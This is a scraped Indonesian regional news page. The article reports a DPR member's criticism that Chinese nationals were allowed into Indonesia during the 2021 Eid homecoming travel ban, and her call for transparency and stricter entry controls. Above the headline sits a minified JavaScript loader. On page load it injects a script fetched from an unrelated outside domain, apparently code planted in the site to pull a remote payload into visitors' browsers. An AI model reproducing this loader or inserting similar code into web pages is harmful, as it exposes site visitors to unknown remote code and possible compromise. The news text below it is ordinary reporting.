(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

WN China Masuk Indonesia Saat Larangan Mudik, DPR: Pemerintah Harusnya Peka


KANALKALIMANTAN.COM – Masuknya Warga Negara (WN) China ke Indonesia di tengah larangan mudik menuai kontroversi bagi masyarakat. Karena kejadian ini, pemerintah dinilai tidak peka pada situasi saat ini.

Hal ini dikatakan oleh Anggota Komisi IX DPR RI Netty Prasetiyani Aher. Menurutnya tindakan pemerintah itu bisa membuat publik menilai kebijakan yang diambil tidak adil.

“Tentu saja masyarakat akan bertanya-tanya, kenapa WN China dibiarkan masuk ke Indonesia, padahal masyarakat dilarang mudik dan dilakukan banyak penyekatan. Jangan sampai publik menilai pemerintah inkonsisten dalam kebijakan pengendalian Covid-19,” ujar Netty dalam keterangan tertulis, Minggu (9/05/2021).

Baca juga : Viral Pengemudi Mobil Terobos Penyekatan, Pelaku Masih Berusia 16 Tahun

Netty pun meminta agar pemerintah transparan dalam hal ini. Perlu dijelaskan kepada publik apa tujuan dari kedatangan mereka ke Indonesia di tengah larangan mudik.

“Masyarakat sedang sensitif dan resah karena pelarangan mudik lebaran yang merupakan tradisi tahunan, apalagi tahun sebelumnya juga sudah terjadi pelarangan mudik. Pemerintah seharusnya peka. Masyarakat dilarang mudik, tapi WN China bisa masuk ke Indonesia. Bagaimana masyarakat bisa menerima fakta ketidakadilan ini,” tuturnya.

Tak hanya itu ia mengingatkan bahaya lonjakan kasus yang masih mengintai, apalagi varian baru Covid-19 juga sudah terkonfirmasi ada di Indonesia. Oleh karena itu, Netty meminta pemerintah melakukan pengetatan proses masuknya WNA ke Indonesia.

Baca juga : Tertangkap, Sopir VW Kuning yang Kabur Saat Diperiksa Ternyata Masih Bocah

“Jangan ada lagi kejadian seperti mafia karantina dan mafia alat rapid test bekas yang membuat kita malu di mata internasional. Orang luar bisa saja berpikir kalau ada uang, semua peraturan di Indonesia bisa dikompromikan,” pungkasnya.(suara.com)

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.